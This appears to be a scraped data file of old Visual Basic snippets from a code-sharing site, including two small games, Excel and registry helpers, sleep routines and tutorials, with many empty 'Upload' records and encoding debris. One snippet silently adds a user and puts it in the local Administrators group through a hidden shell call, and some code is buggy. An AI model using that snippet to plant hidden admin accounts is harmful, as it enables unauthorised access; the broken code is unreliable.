+ 50\n Case 7\n Timer1.Interval = 100\n Points = Points + 50\n Case 8\n Timer1.Interval = 75\n Points = Points + 50\n Case 9\n Timer1.Interval = 50\n Points = Points + 50\n Case 10\n Timer1.Interval = 25\n Points = Points + 50\n Case 11\n Timer1.Interval = 20\n Points = Points + 50\n Case 12\n Timer1.Interval = 15\n Points = Points + 50\n Case 13\n Timer1.Interval = 10\n Points = Points + 50\n Case 14\n Timer1.Interval = 5\n Points = Points + 50\n Case 15\n Timer1.Interval = 1\n Points = Points + 50\n Case 16\n Timer1.Enabled = False\n Points = Points + 500\n MsgBox \"You Won!!!\"\nEnd Select\nEnd Sub\nSub DrawFood()\nDim x As Long, y As Long\n'-This gives 50 squared possible positions all Randomly placed\nRandomize Timer\nx = Round((Rnd * 48), 1) + 1\ny = Round((Rnd * 48), 1) + 1\n'-This spreads it out to scale\nfx = x * 5\nfy = y * 5\nEnd Sub\nSub BodyHeadHit(ByVal Snake_Length As Long)\nDim a As Integer\nFor a = 2 To Snake_Length Step 1\n If (xHead = x(a)) And (yHead = y(a)) Then\n If Lives > 0 Then\n Lives = Lives - 1\n New_Start\n Else\n Timer1.Enabled = False\n MsgBox \"You Died!\"\n New_Game\n End If\n End If\nNext a\nEnd Sub\nSub Boarder()\nMe.Line (0, 0)-(0, Me.ScaleWidth), vbBlack\nMe.Line (0, 0)-(Me.ScaleHeight, 0), vbBlack\nMe.Line (Me.ScaleWidth, Me.ScaleHeight)-(0, Me.ScaleWidth), vbBlack\nMe.Line (Me.ScaleWidth, Me.ScaleHeight)-(Me.ScaleHeight, 0), vbBlack\nIf (xHead < 0) Or (xHead > Me.ScaleWidth) Or (yHead < 0) Or (yHead > Me.ScaleHeight) Then\n If Lives > 0 Then\n Lives = Lives - 1\n New_Start\n Else\n Timer1.Enabled = False\n MsgBox \"You Died!\"\n New_Game\nEnd If\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":14276,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14286,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14288,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14290,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14298,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14301,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14302,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14308,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14311,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14312,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14314,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14315,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14317,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14323,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14325,"LineNumber":1,"line":"\n'------------------------------------------------- '\n 'Excel Spread Sheet Read Prototype Functions\n '\n '--------------------------------------------- '\n '┬áBy Duncan MacFarlane\n '┬áMacFarlane System Solutions\n '┬áA Privately owned business operated '┬á┬áfrom personal residence\n '\n '┬áCopyright MacFarlane System Solutions '┬á┬á2001\n '\n '--------------------------------------------- '\n '┬áThe following functions simplify '┬á┬áthe process of opening,\n '┬á┬áretrieving, closing, exiting\n '┬á┬áExcel and clearing the memory of '┬á┬áthe excel objects.\n '\n '--------------------------------------------- '\n '┬áThe Syntax of the following functions '┬á┬áare as follows:\n '\n '┬á┬áexcelFile([String - File Name Including Full Path])\n '┬á┬áSets the current file to open\n '┬áexcelPassword([String - Excel '┬á┬áRead Only Password], [String - '┬á┬áExcel Write Password]\n '┬á┬áif no password is used on the '┬á┬áfile discard the use of this '┬á┬áfunction\n '┬áopenExcelFile\n '┬á┬áNo variables are passed, opens '┬á┬áfile set by excelFile function\n '┬ásetActiveSheet([Integer - Sheet '┬á┬ánumber of sheet to read from, '┬á┬ástarting from 1]\n '┬á┬áSets the active sheet to read '┬á┬áfrom\n '┬á┬á[String - Data input returned] = '┬áreadExcel([Integer - Row], '┬á┬á[Integer - Column])\n '┬á┬áReads the content of a cell and '┬á┬áreturns the data to the calling '┬á┬álocation\n '┬ácloseExcelFile\n '┬á┬áCloses the active Excel File\n '┬áexitExcel\n '┬á┬áExits MS Excel\n '┬áclearExcelObjects\n '┬á┬áClear the memory of the Excel '┬á┬áApplication objects\n '---------------------------------------------\n \nDim excelFileName As String\n \nDim readPassword As String\n \nDim writePassword As String\n \nDim msExcelApp As Excel.Application\n \nDim msExcelWorkbook As Excel.Workbook\n \nDim msExcelWorksheet As Excel.Worksheet\n \nPublic Function excelFile(fileName As String)\n \n┬á┬áLet excelFileName = fileName\n \nEnd Function\n \nPublic Function excelPassword(rdExcel As String, wtExcel As String)\n┬á┬áLet readPassword = rdExcel</font<\n \n┬á┬áLet writePassword = rdExcel\nEnd Function\n \nPublic Function openExcelFile()\n \n┬á┬áSet msExcelApp = GetObject(\"\", \"excel.application\")\n \n┬á┬ámsExcelApp.Visible = False\n \n┬á┬áIf readPassword = \"\" And writePassword = \"\" Then\n \n┬á┬á┬á┬áSet msExcelWorkbook = Excel.Workbooks.Open(excelFileName)\n \n┬á┬áElse\n \n┬á┬á┬á┬áSet msExcelWorkbook = Excel.Workbooks.Open(excelFileName, , , , readPassword, writePassword)\n \n┬á┬áEnd If\n \nEnd Function\n \nPublic Function setActiveSheet(excelSheet As Integer)\n \n┬á┬áSet msExcelWorksheet = msExcelWorkbook.Worksheets.Item(excelSheet)\n \nEnd Function\n \nPublic Function readExcel(Row As Integer, Col As Integer) As String\n \n┬á┬áreadExcel = msExcelWorksheet.Cells(Row, Col)\nEnd Function\n \nPublic Function, closeExcelFile()\n \n┬á┬ámsExcelWorkbook.Close\n \nEnd Function\n \nPublic Function exitExcel()\n \n┬á┬ámsExcelApp.Quit\nEnd Function\n \nPublic Function clearExcelObjects()\n┬á┬áSet msExcelWorksheet = Nothing\n \n┬á┬áSet msExcelWorkbook = Nothing\n \n┬á┬áSet msExcelApp = Nothing\n \nEnd Function\n"},{"WorldId":1,"id":14331,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14332,"LineNumber":1,"line":"'-This program needs:\n'-Timer1\n'-Timer2\n'-PictureBox - picTrack\n'-That should do it!!!\nPrivate Declare Sub Sleep Lib \"kernel32\" (ByVal dwMilliseconds As Long)\nDim lx(0 To 250) As Long, rx(0 To 250) As Long '-Right and Left Sides\nDim y(0 To 250) As Long\nDim cX As Long '-Car X\nDim Speed As Long '-The speed\nDim SideMove As Integer '-The sides move right/left\nDim Width_Amount As Long '-Distance apart between walls\nDim Score As Long '-The score\nSub Cycle()\nDim a As Integer\nFor a = 250 To 1 Step -1\n lx(a) = lx(a - 1)\n lx(0) = ((150 - Width_Amount) / 2) + SideMove\n rx(a) = rx(a - 1)\n rx(0) = lx(0) + Width_Amount\nNext a\nEnd Sub\nSub SidesChange()\nSideMove = SideMove + Round((Rnd * 2), 1) - 1\nIf SideMove > 100 Then SideMove = 100\nIf SideMove < 5 Then SideMove = 5\nEnd Sub\nPrivate Sub Form_Load()\nMe.Caption = \"Tunnel Racer By Jason Ryczek\"\nMe.ScaleMode = 3\nMe.Height = 4155\nMe.Width = 5370\nMe.AutoRedraw = True\nMe.ClipControls = False\npicTrack.Top = 0\npicTrack.Left = 75\npicTrack.Height = 250\npicTrack.Width = 200\npicTrack.ScaleMode = 3\npicTrack.AutoRedraw = True\npicTrack.ClipControls = False\npicTrack.BorderStyle = 0\npicTrack.Appearance = 0\nTimer1.Interval = 1\nTimer2.Interval = 500\nTimer2.Enabled = True\nNew_Game\nEnd Sub\nPrivate Sub picTrack_KeyDown(KeyCode As Integer, Shift As Integer)\nSelect Case KeyCode\n Case vbKeyUp '-speed up\n Speed = Speed + 1\n If Speed > 50 Then Speed = 50\n Case vbKeyDown '-slow down\n Speed = Speed - 1\n If Speed < 5 Then Speed = 5\n Case vbKeyRight '-Move car right\n cX = cX + 2\n Case vbKeyLeft\n cX = cX - 2\n Case vbKeyP\n If Timer1.Enabled = True Then\n Timer1.Enabled = False\n Else\n Timer1.Enabled = True\n End If\nEnd Select\nTimer1.Interval = 51 - Speed\nEnd Sub\nPrivate Sub Timer1_Timer()\nDim a As Integer, b As Integer\nCycle\nSidesChange\npicTrack.Cls\nMe.Cls\nMe.Print \"Speed:\" & Speed\nMe.Print \"Score:\" & Score\nMe.Print \"=============\"\nMe.Print \"Use the Arrow\"\nMe.Print \"Keys to Move\"\nMe.Print \" p - pause\"\nMe.Print \"=============\"\nFor a = 1 To 250 Step 1\n rx(a) = lx(a) + Width_Amount\n picTrack.Line (0, a)-(10 + lx(a), a), RGB(0, 100 + (155 * Rnd), 0)\n picTrack.Line (lx(a), a)-(lx(a) + Width_Amount, a)\n picTrack.Line (rx(a), a)-(200, a), RGB(0, 100 + (155 * Rnd), 0)\n picTrack.PSet (lx(a) + (Width_Amount / 2), a), vbYellow\nNext a\nCarDraw cX '-This draws the car\nHitWall cX '-This checks to see if the car hit the wall\nScore = Score + 1\nEnd Sub\nSub CarDraw(ByVal CarX As Long)\nDim gc As Integer\ngc = Rnd * 255\npicTrack.Line (CarX - 5, 215)-(CarX + 5, 235), vbRed, BF\npicTrack.Line (CarX - 5, 215)-(CarX - 2, 215), vbYellow\npicTrack.Line (CarX + 5, 215)-(CarX + 2, 215), vbYellow\npicTrack.Line (CarX - 2, 225)-(CarX + 2, 230), vbBlack, BF\npicTrack.Line (CarX - 2, 224)-(CarX + 2, 225), vbBlue, B\npicTrack.Circle (CarX + (Rnd * 1) + 1, 236), 1, RGB(gc, gc, gc)\npicTrack.Circle (CarX + (Rnd * 1) + 1, 238), 1, RGB(gc, gc, gc)\npicTrack.Circle (CarX - (Rnd * 1) + 1, 240), 1, RGB(gc, gc, gc)\npicTrack.Circle (CarX + (Rnd * 1) + 1, 242), 1, RGB(gc, gc, gc)\nEnd Sub\nSub HitWall(ByVal CarX As Long)\nDim a As Integer, b As Long, d As Integer\nDim gc As Integer\ngc = 255 * Rnd\nDim cX(0 To 25) As Long, cy(0 To 5) As Long\n If (CarX - 5 <= lx(215)) Or ((CarX + 5) >= rx(215)) Then\n For d = 0 To 5 Step 1\n cX(d) = ((CarX - 5) + (Rnd * 15))\n cy(d) = (215 + (Rnd * 20))\n picTrack.Circle (cX(d), cy(d)), ((Rnd * 4) + 1), RGB(gc, gc, gc)\n Next d\n Timer1.Enabled = False\n Me.Print \"You Crashed!!!\"\n New_Game\n End If\nEnd Sub\nSub New_Game()\nMsgBox \"Ready, Set, Go!\"\nDim a As Integer\nWidth_Amount = 150\ncX = picTrack.Width / 2\nScore = 0\nSpeed = 25\nSideMove = 25\nFor a = 0 To 250\n lx(a) = (24 + (Rnd * 1))\n rx(a) = lx(a) + Width_Amount\nNext a\nTimer1.Enabled = True\nEnd Sub\nPrivate Sub Timer2_Timer()\nWidth_Amount = Width_Amount - 1\nEnd Sub\n"},{"WorldId":1,"id":14335,"LineNumber":1,"line":"'Call below where auto scroll is intended\nSendMessage MSFG.hwnd, WM_VSCROLL, SB_BOTTOM, 0\n'MSFG is my FlexGrid control, can be changed to ListBox\n"},{"WorldId":1,"id":14336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14339,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14340,"LineNumber":1,"line":"\nThe two functions below both sleep for the specified number of seconds. However, the popular code seen in the BusySleep procedure actually causes the CPU load to stay near 100% until complete. The SafeSleep routine pauses without taxing the CPU and stays at nearly 0% CPU.\nBoth functions take a single value so you can sleep for fractions of a second.\n \n<tt>\nPrivate Declare Function MsgWaitForMultipleObjects Lib \"user32\" (ByVal nCount As Long, pHandles As Long, ByVal fWaitAll As Long, ByVal dwMilliseconds As Long, ByVal dwWakeMask As Long) As Long \nPublic Sub SafeSleep(ByVal inWaitSeconds As Single) \n<nbsp><nbsp> Const WAIT_OBJECT_0 As Long = 0 \n<nbsp><nbsp> Const WAIT_TIMEOUT As Long = &H102 \n \n<nbsp><nbsp> Dim lastTick As Single \n<nbsp><nbsp> Dim timeout As Long \n<nbsp><nbsp> timeout = inWaitSeconds * 1000 \n<nbsp><nbsp> lastTick = Timer \n \n<nbsp><nbsp> Do \n<nbsp><nbsp><nbsp><nbsp> Select Case MsgWaitForMultipleObjects(0, 0, False, timeout, 255) \n<nbsp><nbsp><nbsp><nbsp> Case WAIT_OBJECT_0 \n<nbsp><nbsp><nbsp><nbsp> DoEvents \n<nbsp><nbsp><nbsp><nbsp> timeout = ((inWaitSeconds) - (Timer - lastTick)) * 1000 \n<nbsp><nbsp><nbsp><nbsp> If timeout < 0 Then timeout = 0 \n \n<nbsp><nbsp><nbsp><nbsp> Case Else \n<nbsp><nbsp><nbsp><nbsp> Exit Do \n \n<nbsp><nbsp><nbsp><nbsp> End Select \n \n<nbsp><nbsp> Loop While True \n \nEnd Sub \nPublic Sub BusySleep(ByVal inWaitSeconds As Single) \n<nbsp><nbsp> Dim lastTick As Single \n<nbsp><nbsp> lastTick = Timer \n \n<nbsp><nbsp> Do \n<nbsp><nbsp><nbsp><nbsp> DoEvents \n \n<nbsp><nbsp> Loop While (Timer - lastTick) < inWaitSeconds \n \nEnd Sub \n</tt>\n"},{"WorldId":1,"id":14341,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14342,"LineNumber":1,"line":"'Arguments to create the user as a LocalUser and a member of the group Users\nTheArguments = \"NET USER \" & UserName & \" \" & Password & \" /add\"\nShell TheArguments, vbHide\n'Arguments to add the user as a member of the group Administrators\nTheArguments = \"NET LOCALGROUP Administrators /Add \" & UserName\nShell TheArguments, vbHide"},{"WorldId":1,"id":14346,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14347,"LineNumber":1,"line":"If you develop ActiveX DLL's for use via the web, \nthen like me you probably have some shortcuts to start/restart IIS on you HD somewhere. I found any easier way to \ndo this for 2000 users. (I am not sure if this exists on NT4) Just look in your \\WinNT\\system32 folder for iisreset.exe. \n \nIt runs a little bit faster then using the net command and it automatically restarts \nit for you. This is nothing major but I thought someone would find it useful."},{"WorldId":1,"id":14353,"LineNumber":1,"line":"<html xmlns:o=\"urn:schemas-microsoft-com:office:office\"\nxmlns:w=\"urn:schemas-microsoft-com:office:word\"\nxmlns=\"http://www.w3.org/TR/REC-html40\">\n<head>\n<meta http-equiv=Content-Type content=\"text/html; charset=windows-1252\">\n<meta name=ProgId content=Word.Document>\n<meta name=Generator content=\"Microsoft Word 9\">\n<meta name=Originator content=\"Microsoft Word 9\">\n<link rel=File-List href=\"./multidimtypes_files/filelist.xml\">\n<title>Creating Multi-Dimensional </title>\n\n<style>\n\n</style>\n</head>\n<body lang=EN-US link=blue vlink=purple style='tab-interval:.5in'>\n<div class=Section1>\n<span\nstyle='font-size:16.0pt;mso-bidi-font-size:12.0pt;mso-bidi-font-family:Arial'>Creating\nMulti-Dimensional<o:p></o:p>\n<h1>User Defined Types</h1>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis is a follow-up\nfor my tutorial “<a\nhref=\"http://www.planetsourcecode.com/xq/ASP/txtCodeId.8370/lngWId.1/qx/vb/scripts/ShowCode.htm\">Create\nyour own User Defined Types – A Basic User Defined Type Tutorial</a>.”<span\nstyle=\"mso-spacerun: yes\">┬á You should read it first if you are not\nfamiliar with User Defined Types.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn my first\narticle, I showed how to easily create you own custom data storage types. With\nthese, you could keep related pieces of information in one easy to use place.\nFor example, you could have a “Customer “ user defined type and store\ninformation like this:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Customer.FirstName = “John”<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Customer.LastName = “ Smith”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn addition to\nbeing able to tie these pieces of data together in one variable name\n(customer), you also have the really cool ability to see your choices in a\ndrop-down list just like the built-in Visual Basic object properties.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn this article, I\nwould like to show you how to expand that capability to multiple instances of\nthe user defined type. Let me explain. It is nice to have a variable in your\napplication that holds similar information, but what if you are working with\nthree different customers and want to manage information for all of them? There\nare a couple of ways to accomplish this:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nConsider what you\ndo if you want to hold several strings separately:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDim strOne As\nString<o:p></o:p>\nDim strTwo As\nString<o:p></o:p>\nDim strThree As\nString<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nYou can define as\nmany variables as you like with the type of “string” because “string” is a\nVisual Basic data type. Well VB gives you the power to create your own data\ntypes, made up of standard variable types. <o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nTo do the same\nthing with a user defined type, do this:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nType Customer<o:p></o:p>\nFirstName As String<o:p></o:p>\nLastName As String<o:p></o:p>\nPhone As String<o:p></o:p>\nDOB as Date<o:p></o:p>\nEnd Type<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow you can create\nmultiple variables of the same type:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDim Customer1 As\nCustomer<o:p></o:p>\nDim Customer2 As\nCustomer<o:p></o:p>\nDim Customer3 As\nCustomer<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nJust as with any\nother variable type, you can add different information to each and it will\nremain with the variable you assigned it to:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nCustomer1.Phone =\n“555-1234”<o:p></o:p>\nCustomer1.FirstName=”John”<o:p></o:p>\nCustomer1.LastName=”Smith”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nCustomer2.Phone =\n“555-1111”<o:p></o:p>\nCustomer1.FirstName=”Jane”<o:p></o:p>\nCustomer1.LastName=”Doe”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nCustomer3.Phone =\n“123-4567”<o:p></o:p>\nCustomer3.FirstName=”Jane”<o:p></o:p>\nCustomer3.LastName=”Doe”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nHow is that for\ncool?<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nBut wait, it gets\nbetter. What if you don’t know how many customers you will be working with?\nWhat then? Do you create 100 of these variables and hope you never need more?\nCertainly not! Again, think about how you would do it with a string variable:<br\nstyle='mso-special-character:line-break'>\n<![if !supportLineBreakNewLine]> \n<![endif]><o:p></o:p>\nDim strTest(4) As\nString<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis creates a\nstring array with 4 elements. You can access each element by changing the index\nnumber:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á StrTest(0) = “Hello”<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á StrTest(1) = “How”<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á StrTest(2) = “Are” <o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á StrTest(3) = “You?”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDoing this: <o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á For intTest = 0 To 3<o:p></o:p>\n<span\nstyle='mso-tab-count:2'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Msgbox strTest(intTest)<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Next intTest<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWill loop through\nthis array and put each element in its own message box. Why? I have no idea…but\nI am trying to make a point here.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nYou can do the same\nthing by defining the type YOU created as an array:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDim MyCustomers(4) As Customers <o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á MyCustomers(0).FirstName = “John”<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á MyCustomers(0).LastName = “Smith”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nMyCustomers(1).FirstName = “Jane”<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á MyCustomers(1).LastName = “Doe”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nMyCustomers(2).FirstName = “Sue”<o:p></o:p>\nMyCustomers(2).LastName = “Thomas”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á MyCustomers(3).FirstName = “Al”<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á MyCustomers(3).LastName = “Anderson”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á For intTest = 0 To 3<o:p></o:p>\n<span\nstyle='mso-tab-count:2'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Msgbox\nMyCustomers(intTest).FirstName<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Next intTest<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nAt this point, your\nUser Defined Type starts to resemble a recordset in many ways, but requires\nmuch less overhead than a recordset object does. If you use your imagination,\nyou can see how this would be very powerful when you substitute a variable in\nyour array declaration like this:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDim MyCustomers(intCustomerCount) as Customers<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThen you can loop\nthrough the collection by incrementing an index variable. In this example, you\nwould add all customers to a listbox control on a form.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nFor intCustNumber = 0 to Ubound(MyCustomers) – 1<o:p></o:p>\n<span\nstyle='mso-tab-count:2'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ListBox1.Add MyCustomer(intCustNumber).FirstName\n& MyCustomer(intCustNumber).LastName\nNext intCustNumber<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nI have found many\nuses for this concept in my applications and am sure that if you are curious\nenough, you will as well. If you come up with some novel uses for it, please\nemail me and let me know: <a href=\"mailto:mmroberts@usa.net\">mmroberts@usa.net</a><o:p></o:p>\n</div>\n</body>\n</html>\n"},{"WorldId":1,"id":14357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14364,"LineNumber":1,"line":"The tutorial and all sample files are included in the download."},{"WorldId":1,"id":14367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14371,"LineNumber":1,"line":"\nPublic Function Match(strSource As String, strCompare As String) As Boolean\nDim lngCheck As Long\n \n For lngCheck = 1 To Len(strCompare)\n If InStr(strSource, Mid(strCompare, lngCheck, 1)) Then\n Match = True\n Exit Function\n End If\n \n Next lngCheck\nEnd Function\n"},{"WorldId":1,"id":14380,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14381,"LineNumber":1,"line":"'//\t\t\t\t\t\t\tFile Association\n'//I made this to figure out how associate a file extension with a project I am currently '//working on called ZWord. I wanted '//the .zwd extension, so this is what I did.\n\n'//Goes Under General Declarations for Main Form\n'// Registry windows api calls\nPrivate Declare Function RegCreateKey& Lib \"advapi32.DLL\" Alias \"RegCreateKeyA\" (ByVal hKey As Long, ByVal lpszSubKey As String, lphKey As Long)\nPrivate Declare Function RegSetValue& Lib \"advapi32.DLL\" Alias \"RegSetValueA\" (ByVal hKey As Long, ByVal lpszSubKey As String, ByVal fdwType As Long, ByVal lpszValue As String, ByVal dwLength As Long)\n'// Required constants\nPrivate Const HKEY_CLASSES_ROOT = &H80000000\nPrivate Const MAX_PATH = 256&\nPrivate Const REG_SZ = 1\n'// procedure you call to associate the zwd extension with your program.\nPrivate Sub MakeDefault()\n Dim sKeyName As String '// Holds Key Name in registry.\n Dim sKeyValue As String '// Holds Key Value in registry.\n Dim ret As Long '// Holds error status if any from API calls.\n Dim lphKey As Long '// Holds created key handle from RegCreateKey.\n \n '// This creates a Root entry called \"ZWord\"\n sKeyName = \"ZWord\" '// Application Name\n sKeyValue = \"Zword Document\" '// File Description\n ret = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey)\n ret = RegSetValue&(lphKey&, Empty, REG_SZ, sKeyValue, 0&)\n '// This creates a Root entry called .zwd associated with \"ZWord\".\n sKeyName = \".zwd\" '// File Extension\n sKeyValue = \"ZWord\" '// Application Name\n ret = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey)\n ret = RegSetValue&(lphKey, Empty, REG_SZ, sKeyValue, 0&)\n '//This sets the command line for \"ZWord\".\n sKeyName = \"Zword\" '// Application Name\n If App.Path Like \"*\\\" Then\n sKeyValue = App.Path & App.EXEName & \".exe %1\" '// Application Path\n Else\n sKeyValue = App.Path & \"\\\" & App.EXEName & \".exe %1\" '// Application Path\n End If\n ret = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey)\n ret = RegSetValue&(lphKey, \"shell\\open\\command\", REG_SZ, sKeyValue, MAX_PATH)\nEnd Sub\n'//Stick This into the Form or MDIForm Load\n '// ensure we only register once. When debugging etc, remove the SaveSetting line, so your program will\n '// always attempt to register the file extension.\n If GetSetting(App.Title, \"Settings\", \"RegisteredFile\", 0) = 0 Then\n '// associate tmg extension with this app\n MakeDefault\n SaveSetting App.Title, \"Settings\", \"RegisteredFile\", 1\n End If\n \n'// If you are in an MDI App, then put this in \n'// MDIForm_Load:\nIf Command = \"\" Then\n Resume Next\nElse\n frmMain.ActiveForm.rtfText.LoadFile Command\nEnd If\n'// If you are in a SDI App, put this in Form_Load\nIf Command = \"\" Then\n Resume Next\nElse\n frmMain.rtfText.LoadFile Command\nEnd If"},{"WorldId":1,"id":14392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14394,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14398,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14411,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14415,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14418,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14424,"LineNumber":1,"line":"\nParsing concepts & Parsing Algorithms\nINTRODUCTION (about this article)\n In this article, I will be looking at the concepts of parsing and parser construction. This article is not meant as a tutorial, or a discussion article, but rather a mix of the two. I will explore mostly the most commonly used and simplest (yet efficient) parsing method - Left to Right / Top to bottom parsing. In this example I will include a few examples for use with Visual Basic. In fact, this article is based around parsing using VB, and will review standard string manipulation functions for people who may not be familiar with them. Please note that I am 15 years old, but I’ve been programming in VB for 3 years and now use C and C++ as well. (I’d recommend building any complex parsers in C or C++, due to faster processing speeds, although VB.NET has sufficient processing speed for a large array of parsing tasks.)\nPARSING IS looking through a string (a "sentence" or set of characters) and interpreting it as commands, or translating it, or basically setting up reactions when certain "sets" of characters are encountered or found.\n \n \nSECTION 1 - String Manipulation\n Ok, first of all, I will run you through a review of string manipulation functions and string parsing methods (InStr, Mid, Left, Right, Ucase, Lcase etc.) if you’re already familiar with these functions, you can skip this part and proceed to section 2. As you hopefully already know, a string is a set of characters from the ASCII character set, for example "The Quick Brown Fox Jumped Over The Lazy Dog" is a string.\nIn parsing, you obviously work with these strings a lot. I will discuss the elements of parsing in SECTION2, but this is just to look over how we "look" ata string. First of all, these are the string manipulation functions available in VB (some may only be available in VB6, I’ve tried to note the ones that are)\n* Mid - For getting a set of characters from the middle of a string.\n* InStr - For Searching in one string for an 